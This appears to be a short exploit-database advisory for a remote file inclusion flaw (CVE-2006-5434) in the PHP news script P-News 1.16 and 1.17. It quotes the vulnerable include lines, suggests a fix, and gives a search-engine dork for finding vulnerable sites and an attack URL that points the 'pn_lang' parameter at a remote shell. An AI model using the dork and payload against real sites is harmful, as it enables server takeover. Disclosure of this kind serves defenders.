P-News 1.16 - Remote File Inclusion

Author: vegas78
type: webapps
platform: php
port: 
date_added: 2006-10-15 
date_updated:  
verified: 1 
codes: OSVDB-33791;CVE-2006-5434 
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aliases:  
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P-News 1.16, 1.17 Remote File Inclusion Vulnerability
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Discovered by vegas78 - feel82[at]web.de
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Greetz: scoper, corny, smaesch0r, Sascha Schmalz,
        ReFleCtion, BleX, |pupi (?),
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include("$pn_lang/functions.php"); // bad code
include("$pn_lang/language.php"); // bad code
...

fix:
make absolute path declaration or update to the new 2.* version

// Google string
allintitle:"P-news ver. 1.16" / allinurl:p-news.php

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http://site/p-news.php?pn_lang=[shell]

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